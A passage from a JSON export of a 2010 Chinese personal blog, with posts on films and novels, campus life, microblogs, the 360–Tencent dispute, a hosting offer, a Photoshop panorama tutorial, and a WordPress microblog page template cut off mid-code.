突然看到《让子弹飞》的下载地址，于是就欣然下载下来看了一下。我不是文艺知青，不追求细腻的表达效果，起码《让子弹飞》基本达到了我的欣赏水平。\n先说背景音乐，最喜欢的是刚开始张麻子劫马邦德的火车那段，音乐非常的欢快，鲜活，让我不由自主的就高兴起来了。然后再说说特效制作，那火车翻掉的特效做的好差的说，一看就看出来了么。最后说说剧情，其实我总感觉这编剧是不是耽美文看多了啊，典型的耽美剧情改编的么，一个文武双全的土匪碰上了一个去上任的县令，惩恶扬善，最后一个人凄凄惨惨戚戚的走了。看到最后一幕张麻子一个人孤独的背影，我真的是不由自主的想到这了。而且就里面的某些话也特比的让人浮想联翩么：“大哥你是了解我的，如果我出手，那趴在桌上的，那是她老公！”，还有“我不能酒后欺负一个寡妇，是跟你睡，不是睡你。”\u0026hellip;我只能说这片子太基情了。\n那么再说说这个演员吧。我觉得塑造的最成功的应该是葛大爷这角色吧，狡猾，虚伪，骗术什么的都给葛大爷演出来了，真是佩服啊。姜文的张麻子也是不错的啦，纯粹的正面人物，最重要的是纯爷们啊！哈哈！发哥在里面一人饰两角，不容易啊。让我最郁闷的就是刘嘉玲演的县长夫人了，还没几个场景就死掉了，真是郁闷！其实我觉得就刘嘉玲这个县长夫人其实也可以有很多戏份的，而且我觉得会是一个很成功的角色啦。只是不知道怎么搞的，半路就把人家喀嚓了，郁闷！还有马邦德另外一个老婆，你说没事跳出这么一个人出来，结果也是没三秒钟戏就给喀嚓了，唉！是为了制造马邦德的死么？然后最后要说的是冯小刚同学了，人家姜文跳槽当导演，他这导演就跳槽当演员，呵呵，真搞。话说他的嘴巴真是大啊，摄影师还来了个特写，搞得我以为是动画片的那个啄木鸟呢！\n最后再说说让我感动的场景。恩，我想应该是最后张麻子的孤独背影吧，我至今都忘不了的说！\n《让子弹飞》是一部不错的电影，我推荐大家看看，最后附上下载地址：迅雷下载\n","count":790,"date":"2010年12月23日","featuredImage":null,"permalink":"https://imnerd.org/rang-zi-dan-fei.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769016583\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e\u003cspan style=\"float:left;height:70%;\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg3.douban.com%2Flpic%2Fs4562687.jpg\" alt=\"让子弹飞\"\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e突然看到《让子弹飞》的下载地址，于是就欣然下载下来看了一下。我不是文艺知青，不追求细腻的表达效果，起码《让子弹飞》基本达到了我的欣赏水平。\u003c/p\u003e","time":2,"title":"让子弹飞一会儿"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":" 传送门：http://PageCookery.net\n","count":26,"date":"2010年12月17日","featuredImage":null,"permalink":"https://imnerd.org/pagecookery-theme-live7.html","summary":"\u003c!-- \u003ca href=\"#MiniPlay1g1gCode\" title=\"[1g1g]白衣-河图#playID:-11093[/]\"\u003e[1g1g]白衣-河图#playID:-11093[/]\u003c/a\u003e --\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769850022\"\u003e\u003c/iframe\u003e\n\u003cp\u003e传送门：\u003ca href=\"http://PageCookery.net\" target=\"_blank\"\u003e\u003ca href=\"http://PageCookery.net\"\u003ehttp://PageCookery.net\u003c/a\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/imnerd.org/web_needs/De.li.ci.ous.png\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/web_needs/De.li.ci.ous_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":1,"title":"微博主题之Live7"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":" 哇哈哈！终于下雪了的说！难得一次下了这么大的雪啊。早上下课一拉开窗帘就发现下雪了，全班都热血沸腾啊，全都想着雪仗去了，呵呵！\n晚上陪军军去超市买了点御寒用品，保暖内衣和棉袜什么的果断要上，甚爽甚爽。一个星期连续的三天八节课之后，终于有一天一二节没有课了，我要睡觉！咩哈哈哈哈哈～\n前两天发生个比较搞笑的事情，班主任把我和骚洋叫过去大谈我们和某人的寝室问题，无非就是说同学关系要处好什么的。我也就不好说什么了，说实在的，大学三年里，我最看不起的人其实就是他了。也不能说他怎么了，他这个人在学习上面来说确实不错，但是在做人方面，心理方面都有许多问题，这也是我比较鄙视的地方。本来想写他两件恶心事的，想想还是算了，影响不好，呵呵。不过自从搬出来之后，我觉得我对待他好多了，现在基本上就是做到见面打声招呼，有事求我我就尽量帮一下，仅此而已。以前貌似就我一个人很看不惯他，不过貌似骚洋还有小赵也很不作兴他，军军也有点那个味道。所以我说，CGJ，你自己要明白，一个人和你和不来可能不是你的问题，但是许多人和你和不来那就一定是你自己心理有问题了。\n话说这个礼拜六又要考六级了，什么都没准备，真有点不想去考的冲动！\n","count":496,"date":"2010年12月15日","featuredImage":null,"permalink":"https://imnerd.org/snow-down.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#3381903\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e哇哈哈！终于下雪了的说！难得一次下了这么大的雪啊。早上下课一拉开窗帘就发现下雪了，全班都\u003ca href=\"http://fanfou.com/statuses/8fTRc49lZAU\"\u003e热血沸腾\u003c/a\u003e啊，全都想着雪仗去了，呵呵！\u003c/p\u003e\n\u003cp\u003e晚上陪军军去超市买了点御寒用品，保暖内衣和棉袜什么的果断要上，甚爽甚爽。一个星期连续的三天八节课之后，终于有一天一二节没有课了，我要睡觉！咩哈哈哈哈哈～\u003c/p\u003e","time":1,"title":"终于下雪了"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"哈哈！我的江山实习作业终于做好咯，很开心很开心很开心的找老罗交作业去了。然后很无聊很无聊很无聊的听老罗讲他的愤青论，咳咳！寄人篱下，还望他打高分呢，这个可以淡定！这几天的心头大事就这么结束了，感觉一瞬间超不适应。然后要评省优秀干部，要写材料又忙活了几天。去年的挑战杯要做结题报告又搞了几天的结题报告PPT。这样又忙活了几天。虽然还有很多事情要做，比如张老师的图件，还有某书的插图什么的，但是感觉现在就是不想做啊@@！没过几周马上就又要考试了，所以又要开始看书了。忙啊忙啊，忙到什么都不想做啊！\n话说我闲的蛋疼的时候就会做一些让自己蛋疼的事情，比如今天买了一台VPS在那里耍了一个下午。啥也没学会，就会重装系统\u0026hellip;.= =|||不过Ubuntu的时候换了一个源就好多了，官方的那什么臭屁源啊，啥也没有！\n放上我的实习作业咯，看不懂的就当做是空气咯～嘿嘿\n","count":378,"date":"2010年12月03日","featuredImage":null,"permalink":"https://imnerd.org/busy-at-all.html","summary":"\u003cp\u003e哈哈！我的江山实习作业终于做好咯，很开心很开心很开心的找老罗交作业去了。然后很无聊很无聊很无聊的听老罗讲他的愤青论，咳咳！寄人篱下，还望他打高分呢，这个可以淡定！这几天的心头大事就这么结束了，感觉一瞬间超不适应。然后要评省优秀干部，要写材料又忙活了几天。去年的挑战杯要做结题报告又搞了几天的结题报告PPT。这样又忙活了几天。虽然还有很多事情要做，比如张老师的图件，还有某书的插图什么的，但是感觉现在就是不想做啊@@！没过几周马上就又要考试了，所以又要开始看书了。忙啊忙啊，忙到什么都不想做啊！\u003c/p\u003e","time":1,"title":"忙完了的感觉也很不爽！"},{"comments":{"data":[41],"errmsg":"","errno":0},"contents":"很久之前有个朋友在博客大巴看中了这款皮肤，让我帮忙做一个WP的皮出来，可是过了很久我都没有做。现在我特地把这款可爱风格的主题转到typecho来，希望大家能够喜欢！\n本款皮肤是本人根据typecho的默认皮肤改造的，我所添加的样式都在zombiles.css文件里，基本保持了原主题的完整性。目前主题已经完全兼容Firefox/Chrome/Safari/IE等各大主流浏览器。本主题在IE下部分页面会出现不合适的现象，用以提醒大家IE已经过时，请及时更换浏览器～\n浏览器小常识：当我要求不要使用IE浏览该站点时，经常听到有人这么回答我：没有啊，我不是用IE浏览的，我用的是360/TT哦！在这里要向不知道的各位提醒一下，这里所指的IE不是指Internet Explorer浏览器，而是指IE内核，像360/TT/Sogou/Mathon 2等等国产浏览器都是使用IE内核的。当然目前国产浏览器中的双核浏览器中极速浏览模式使用的是webkit内核。\n本主题虽然已经发布，但不代表没有问题，欢迎大家使用后积极反馈，我会根据反馈的意见及时作出修改！谢谢大家的合作\n本主题为了方便大家，特别附带了几个模板供大家使用，下面就对其功能进行详细的介绍：\nabout.php-当你制作一个关于页面的时候或许能用上。{去除评论框，例1} guestbook.php-当你制作一个留言版页面时能够用上它。{提取评论框到正文内，例2} Model_Example.php-这是一个模板制作范本，当你在制作相应模板时可以参考它。 microblog.php-这是一个微博信息显示模板，特别为PageCookery程序编写，使用的话需要修改文件内微博地址和名称。 最后，由于本人是DIV+CSS新手，只能做到显示没有问题，其中的代码的混乱我自己也是看不下去的，如果大家要修改代码的话请一定要耐心+细心的去寻找~~\n11月27日更新：\n修正了评论嵌套中背景色问题； 增加了悬停提示特效； 增加了点击标题显示\u0026quot;正在加载\u0026hellip;\u0026ldquo;特效； 为评论区增加了编辑器； 增加了超链接滑移特效； 在底部增加\u0026quot;返回顶部\u0026quot;特效； 点击下载 植物大战僵尸 主题 | 注:压缩包密码就是本站地址:http://blog.imnerd.org\n","count":949,"date":"2010年11月26日","featuredImage":null,"permalink":"https://imnerd.org/zombiles.html","summary":"\u003cp\u003e很久之前有个朋友在博客大巴看中了这款皮肤，让我帮忙做一个WP的皮出来，可是过了很久我都没有做。现在我特地把这款可爱风格的主题转到typecho来，希望大家能够喜欢！\u003c/p\u003e","time":2,"title":"新皮-植物大战僵尸(更新至1.1版)"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"\n\u0026ldquo;我的天空里没有太阳，总是黑夜，但并不暗，因为有东西代替了太阳。虽然没有太阳那么明亮，但对我来说已经足够。凭借着这份光，我便能把黑夜当成白天。我从来就没有太阳，所以不怕失去。\u0026quot;—《白夜行》\n一口气看完了《白夜行》，然后又一口气看完了电视剧。寝室长对于小说和电视剧的关系总结的很好，他说电视剧就是小说的补充，从另外一个侧面描写了亮和雪穗之间那埋藏在血泊中的爱情。而豆瓣上我觉得有一句评价小说的精彩讲的非常好：猜对了凶手却猜不到作案动机。可以说，亮和雪穗之间的悲惨人生有一半也是因为社会造成的吧。只有扭曲的社会才会孕育出扭曲的人格。而雪穗正是在这种扭曲的人格下受到社会的嘲讽并一直压抑着自己内心的愤怒，最后爆发。而亮为了保卫雪穗所谓的幸福，从稚嫩变的成熟，从懵懂变的纯熟，从良心未泯到\u0026quot;连最后一点的良心都抛弃了\u0026rdquo;。这不得不说是社会的悲哀。\n我其实对笹垣一直存在着芥蒂的。我搞不明白他为什么要一直穷追不舍呢，难道真的是因为怕罪恶之花开花结果么。这点在电视剧中应该是更加明显的，难道在警察的概念里监狱才是赎罪的地方么？其实亮和雪穗在现实中已经遭受了罪恶的惩罚，相爱的人却无法手牵手一起在阳光下行走，这难道不是最大的惩罚么？\n当然我也明白，正式因为雪穗在赎罪的生涯中一步步的犯下了大错，才导致了结局的悲剧。直到小说末尾，我还想象着一个比较美好的结局，但是想想看来，亮这个角色似乎必须死。因为必须要赎罪啊！亮已经犯下了这么多的错误，在这条歪曲的道路上前行的太远。\n他们苦苦等待的18年追诉期已经到了，但是他们永远不可能在一起了，即使亮活着，那罪恶的阴影始终在他们俩之间滋生，那是爱永远抹灭不了的。所以，这场爱情注定了是一个悲剧！\n相关下载: 《白夜行》小说下载 | 《白夜行》电视剧下载 | 《白夜行》壁纸下载\n","count":761,"date":"2010年11月26日","featuredImage":null,"permalink":"https://imnerd.org/bai-ye-xing.html","summary":"\u003cp\u003e\u003cspan style=\"heigth: 70%; float: left;\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg3.douban.com%2Flpic%2Fs1957651.jpg\" alt=\"\"\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;我的天空里没有太阳，总是黑夜，但并不暗，因为有东西代替了太阳。虽然没有太阳那么明亮，但对我来说已经足够。凭借着这份光，我便能把黑夜当成白天。我从来就没有太阳，所以不怕失去。\u0026quot;—《白夜行》\u003c/p\u003e","time":2,"title":"白夜行"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"谨以此文献给即将回归的饭否。\n微博这东西现在真的是开始越来越流行了，至少我身边的同学们已经都开始使用微博了。不要看，这对他们来说绝对是很神奇的事情，因为几个月前他们连Twitter都不知道是什么。在微博的选择上，他们大部分都选择了新浪微博，我想对他们来说这是必然的。新浪微博的最大卖点毫无疑问是在于明星效应上，而我的朋友中有的是球迷，要去关注姚明易建联一类的，有的是影迷和书友，都或多或少想关注一些名人。不得不说，新浪微博的这个名人效应还真的是做得不错，我想如果没有QQ微博的介入，新浪做成一家独大也不是没有可能吧。\n可是很多人又要说了，说新浪微博怎么怎么不好，样式怎么怎么难看，@规则怎么怎么难以理解。的确，新浪微博的转发和评论规则我到现在也搞得很晕乎，但是我想说的并不是这个。我想说的东西其实是，我们体验微博，并不是真的去体验微博这个东西，而是通过微博这个工具了解你的网友最近发生的事情，感觉和想法。就好比用筷子吃饭一样，我们不用在意筷子怎么样，我们只需要在意饭的质量怎么样就成。当然，筷子的样式会决定人的食欲，但是我想这个应该永远都不是我们要首先考虑的问题。\n有些人估计还是没有明白我说的什么，那我就讲明白点。什么样的微博并不是最重要的，重要的是你在这个微博网站中有没有你自己的圈子，有没有你想要关注了解的人，有没有你想要接近并交谈的人，有没有自己难以割舍的圈子。我想这就是为什么很多的人那么的思念饭否吧，因为饭否是桥梁，连接了你我他，连接了在饭否上大家在一起的欢欢乐乐。那样的圈子是在别的微博中永远都建不起来的，永远都找不到的。所以，他们日夜的思念着饭否，思念着饭否上的饭否，思念着饭否们的快乐时光。\n就好比我一样，在新浪微博刚刚出来的时候，我是很鄙视它的。但是大势所趋，我也注册了一个，以后没事的时候总是会上去瞧瞧。瞧的人多了，自然就认识了几个人（确实是几个），其中大部分是我的校友。然后每天看这几个人的消息成了我每天的娱乐活动。就这样我已经慢慢适应了新浪微博，确切的说，我不是适应了新浪微博，只是我适应了我在新浪微博的圈子。\n我使用饭否的时间并不长，而且关注和被关注的人也都不多，发的消息虽然有100条，但是基本都是@别人的。但是因为在饭否的第一句话，我认识了我的第一个饭友，并很幸运的是在饭否关闭之前交换了QQ号码。所以在饭否关闭之后，依旧有联系。我想，于此，我也是感谢饭否的。\n祝福饭否早日归来！\n(以上纯属个人观点，如有错误，欢迎大家指正！)\n","count":1023,"date":"2010年11月15日","featuredImage":null,"permalink":"https://imnerd.org/microblog-in-my-mind.html","summary":"\u003cp\u003e谨以此文献给即将回归的饭否。\u003c/p\u003e\n\u003cp\u003e微博这东西现在真的是开始越来越流行了，至少我身边的同学们已经都开始使用微博了。不要看，这对他们来说绝对是很神奇的事情，因为几个月前他们连Twitter都不知道是什么。在微博的选择上，他们大部分都选择了新浪微博，我想对他们来说这是必然的。新浪微博的最大卖点毫无疑问是在于明星效应上，而我的朋友中有的是球迷，要去关注姚明易建联一类的，有的是影迷和书友，都或多或少想关注一些名人。不得不说，新浪微博的这个名人效应还真的是做得不错，我想如果没有QQ微博的介入，新浪做成一家独大也不是没有可能吧。\u003c/p\u003e","time":3,"title":"我眼中的微博"},{"comments":{"data":[11],"errmsg":"","errno":0},"contents":"\r某个小朋友推荐给我的曲子，觉得不错挺好听的。《The Truth That You Leave》，一向都喜欢这种很安静的曲子，可以使人身心放松的说。\n然后大家可能会说我很久都没有更新之类的话啦。再这里我要向大家澄清一下啦，本人又重新开了一个小博，http://blog.imnerd.org ，以后我都会在这里更新的说。现在这个主站可能会经常发些关于WordPress技术类的文章吧，希望大家理解下呢！至于为什么又开了一个小博的原因，我想在重“心”开始已经讲的非常清楚了，简单讲的话就是转型未遂，就重新开博了。当初是准备小博的文章数差不多了再给大家公布的，现在看看也差不多了，所以特地借本篇文章向大家说明一下的说，欢迎大家闲来无聊去逛逛！～～\n下面我就以时间轴为顺序为自己今日的生活做一做总结吧，顺被给我的小博某些文章做个小目录：\n开学后第四周从江山实习回来，没过几天就建立了我的小博：http://blog.imnerd.org {其实这想法在实习前就有了}\r回来第二天被告知要去培训，一上午的培训过后才知道是关于第一届地质技能大赛的。具体可见传送门\r培训某天心血来潮在微软先锋买了一套正版Windows 7专业版，详情见传送门\r经过半个月左右的培训之后，远赴成都去参加比赛。比赛总结可参见传送门\r重装系统并wubi安装了Ubuntu，目前为止依旧和谐运行。并发表了一些Ubuntu教程类文章，详情见传送门\r回来之后移植了博客大巴上的植物大战僵尸主题到Typecho上，详情见传送门\r整理了一下发现咱正经事是没做多少，无聊的事情倒是做的多了。很尴尬啊！话说最近361和RR两个相互掐架，搞得我们这些网民民不聊生啊。不过话说回来了，我的桌面是没成为战场了，因为没装过361，不过RR的弹窗却让我有些反感。361这东西主要是3721带过来的阴影，一直觉得它很“流氓”，腾讯不是东西大家也是公然皆知的了。评价这件事情的话我们要从两个角度来分析：\n假设RR没有扫描用户隐私的话，那么361就是在杜撰了，那么杜撰的目的又是什么呢？显然是炒作+夺取用户数，那么毫无疑问坏人就是361了。\r假设RR确实有扫描用户隐私的话，那么361就是在替天行道，做天下不敢为之事。腾讯就是个跳梁小丑了。\r但是不管怎么的说361不顾行业道德出了个“扣扣保镖”以及RR不顾用户强制卸载361的愚蠢行为，都是一种极其不理智的泼妇行为。右下角的战争最后收到伤害的始终是网民。个人对361从来都不报什么好感，360杀毒什么的个人都感觉像个笑话，不过还是有很多人安装。所以我肯定是不支持361的。RR擅自利用软件来操控用户卸载另外一款软件，这是违背网络道德的无耻行径，我也是不会支持的。当然对于“腾讯扫描用户隐私”这个问题，我觉得要说明一下-“用户是有必要保护自己的隐私，但也不要太把自己的隐私当回事”。然后个人预测361方面赢的几率非常低，最后要么是RR获胜，要么是和解。毕竟RR现在已经是不可或缺的IM软件，而361什么的安全软件随时可以更换。你说IM也有很多啊？好吧，那我告诉你，让我妈换MSN？那是不可能的事！\n话说各大网络媒体也是推波助澜，纷纷都巴不得RR这个垄断性企业下台，纷纷全力支持361，我看大家也都不是个好鸟啊！\n今天早上搜视频的时候突然进了Youtube，然后视频还能播放。我吓了一跳，赶快去Internet Explorer里测试了一下，发现Youtube真的可以打开了诶！然后好激动的向身边的孩子宣布这一重大消息。可惜的是某些人不相信，先说我是代理，然后说我用了IPV6。于是我就很郁闷的截图证明我的“清白”。我把图片上传到了豆瓣上，然后下午就杯具的收到一封豆邮：\n来自: 豆瓣系统邮件\r时间: 2010-11-04 14:34\r话题: 相册删除通知\r怡红公子,\r你的相册Youtube（ http://www.douban.com/photos/album/36519509/ ）里的照片因不符合豆瓣的图片政策（http://www.douban.com/about?policy=photorules）已被删除。\n附：\n豆瓣不欢迎未经授权的转载图片，你需要对上传的图片版权负责。 禁止上传带有色情内容或对可能对网站运营带来潜在危害的图片。 （豆瓣保留对所上传内容、行为以及帐户的处理权利）\n——豆瓣 原来豆瓣现在变的这么乖巧了的说 = =附上我的截图吧：\n华丽丽的首页，而且还能看视频哦！\rIPV6没有设置过\rIPV4设置\r没用代理，所以IP没问题\r不过最后结论应该是GFW突然性抽风，因为过了一会儿之后我这里就又不可以访问youtube了，很是尴尬。貌似有人在同一时间段还可以上推的～～不过Picasa是真的解封了，我的Kpicasa Gallery插件又可以用了～～\n","count":1869,"date":"2010年11月04日","featuredImage":null,"permalink":"https://imnerd.org/super-long.html","summary":"\u003c!-- \u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"257\" height=\"33\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"src\" value=\"http://www.xiami.com/widget/0_1769271562/singlePlayer.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"257\" height=\"33\" src=\"http://www.xiami.com/widget/0_1769271562/singlePlayer.swf\" wmode=\"transparent\"\u003e \u003c/embed\u003e\u003c/object\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769271562\"\u003e\u003c/iframe\u003e\r\n\u003cp style=\"font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;\"\u003e某个小朋友推荐给我的曲子，觉得不错挺好听的。《The Truth That You Leave》，一向都喜欢这种很安静的曲子，可以使人身心放松的说。\u003c/p\u003e","time":4,"title":"超长篇总结"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":" 今天提供的歌曲是老男孩片尾曲，很不错的说。这几天看了下老男孩，虽然故事情节非常的老土，但是还是挺感动的。梦想这东西不会因为时间而消褪，只会因时间而更显得珍贵！\n附1:老男孩片尾曲MV\n附2:老男孩片尾剪辑版{个人觉得这个最好！～～}\n附3:老男孩片尾曲原版日文歌曲《ありがとう》MV\n附4:老男孩高清观看\n附5：老男孩片尾曲MP3版下载：普通下载 | uushare网盘 | Dbank网盘\n","count":186,"date":"2010年11月04日","featuredImage":null,"permalink":"https://imnerd.org/old-boys-dream.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769845026\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e今天提供的歌曲是老男孩片尾曲，很不错的说。这几天看了下老男孩，虽然故事情节非常的老土，但是还是挺感动的。梦想这东西不会因为时间而消褪，只会因时间而更显得珍贵！\u003c/p\u003e","time":1,"title":"感动系列之老男孩"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" MiniHost-格子空间\n好吧，我得承认，我又不淡定了\u0026hellip;\n恩，不知道现在用PageCookery（Typecho）的有多少孩子在用免费空间，而且还在担心空间消失的，如果有这样的人那么我这个计划也挺好的了。\n方案 空间大小 空间流量 数据库个数 功能支持 限制 价格 A 10MB 1GB 无限 PageCookery等程序一般需求 * 6元/年 B 20MB 4GB 无限 PageCookery等程序一般需求 * 10元/年 备注： * 禁止放置：论坛、聊天室等巨占内存的东西。 ** 购买者赠送全年免费售后服务。 *** 如果流量不够可以以1元钱500Mb的价格购买，该流量可以累积。\n有兴趣了解更多的话请咨询 QQ:472580413; Gtalk:secretlzm007@gmail.com; Losses.don@gmail.com; Mail:i@imnerd.org;\n","count":275,"date":"2010年10月31日","featuredImage":null,"permalink":"https://imnerd.org/minihost.html","summary":"\u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2073841\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003eMiniHost-格子空间\u003c/p\u003e\n\u003cp\u003e好吧，我得承认，我又不淡定了\u0026hellip;\u003c/p\u003e\n\u003cp\u003e恩，不知道现在用PageCookery（Typecho）的有多少孩子在用免费空间，而且还在担心空间消失的，如果有这样的人那么我这个计划也挺好的了。\u003c/p\u003e","time":1,"title":"MiniHost格子空间"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":" 恩话说今天无聊的时候把以前拍的照片整理了一下，看到几张以前拍的要拼接成广角的照片，就顺手用PhotoShop自动拼接了一下。不得不说，PhotoShop的自动拼接真的是灰常给力，拼接的真是很牛X！话说，照片越多，拼接出来的照片更完美的说！\n说说方法吧，这里以PhotoShop CS4为例。打开PhotoShop后选择\u0026quot;文件 -\u0026gt; 自动 -\u0026gt; Photomerge\u0026quot;，选择添加文件将要拼接的文件添加进去，然后晕影清除和几何扭曲校正勾选上{也可以不勾选}点击确定等待片刻即可。PhotoShop拼接简单好用，真的是居家必备啊！\n下面给大家展示展示我拼接的东西，顺便当当素材给大家的说！\n[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2353.jpg)](http://img.imnerd.org/content/jssx/DSCF2353.JPG)[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2352.jpg)](http://img.imnerd.org/content/jssx/DSCF2352.JPG)[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2351.jpg)](http://img.imnerd.org/content/jssx/DSCF2351.JPG)[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2350.jpg)](http://img.imnerd.org/content/jssx/DSCF2350.JPG) [![](https://imnerd.org/assets/migration/imnerd.org/web_needs/tn_jsqj.jpg)](https://imnerd.org/assets/migration/imnerd.org/web_needs/jsqj.jpg) 1.江山地区全景图\n[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2326.jpg)](http://img.imnerd.org/content/jssx/DSCF2326.JPG)[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2327.jpg)](http://img.imnerd.org/content/jssx/DSCF2327.JPG)[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2328.jpg)](http://img.imnerd.org/content/jssx/DSCF2328.JPG)[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fjssx%2Ftn_DSCF2329.jpg)](http://img.imnerd.org/content/jssx/DSCF2329.JPG) [![](https://imnerd.org/assets/migration/imnerd.org/web_needs/tn_stk.jpg)](https://imnerd.org/assets/migration/imnerd.org/web_needs/stk.jpg) 2.石头坑全景图\n[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fpictures1%2Ftn_DSCF3362.jpg)](http://img.imnerd.org/content/pictures1/DSCF3362.JPG)[![](https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg.imnerd.org%2Fcontent%2Fpictures1%2Ftn_DSCF3364.jpg)](http://img.imnerd.org/content/pictures1/DSCF3364.JPG) [![](https://imnerd.org/assets/migration/imnerd.org/web_needs/tn_xyddq.jpg)](https://imnerd.org/assets/migration/imnerd.org/web_needs/xyddq.jpg) 2.小鱼洞断桥全景图\n","count":325,"date":"2010年10月29日","featuredImage":null,"permalink":"https://imnerd.org/photomerge.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769227310\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e恩话说今天无聊的时候把以前拍的照片整理了一下，看到几张以前拍的要拼接成广角的照片，就顺手用PhotoShop自动拼接了一下。不得不说，PhotoShop的自动拼接真的是灰常给力，拼接的真是很牛X！话说，照片越多，拼接出来的照片更完美的说！\u003c/p\u003e","time":1,"title":"PotoShop自动拼接"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"论坛有人问能否做一个显示微博的单页面，之前我写过一个Typecho的，现在特地转到WP中来。\n复制一下代码命名为microblog.php上传到你当前主题文件夹中\n\u0026lt;?php /* Template Name:Microblog */ ?\u0026gt; \u0026lt;?php get_header(); ?\u0026gt; \u0026lt;div class=\u0026#34;grid_10\u0026#34; id=\u0026#34;content\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;ul class=\u0026#34;pagecookery_list\u0026#34;\u0026gt; \u0026lt;li id=\u0026#34;panel\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;float:left;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;http://pagecookery.net\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;怡红别院\u0026lt;/a\u0026gt;\u0026lt;span style=\u0026#34;font-size:10px;font-family:\u0026#34;Lucida Grande\u0026#34;,Verdana,Arial;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;http://pagecookery.net/\u0026#34;\u0026gt;http://pagecookery.net/\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;a href=\u0026#34;http://pagecookery.net/?act=login\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;登录\u0026lt;/a\u0026gt; | \u0026lt;a href=\u0026#34;http://pagecookery.net/?act=comments\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;评论\u0026lt;/a\u0026gt; | \u0026lt;a href=\u0026#34;http://pagecookery.net/?act=following\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;关注\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;?php $xmlfile = \u0026#34;http://pagecookery.net/rss.xml\u0026#34;; $xml = simplexml_load_file($xmlfile); $n=\u0026#34;20\u0026#34;; for($i=0;$i\u0026lt;$n;$i++){ ?\u0026gt; \u0026lt;li\u0026gt; \u0026lt;div 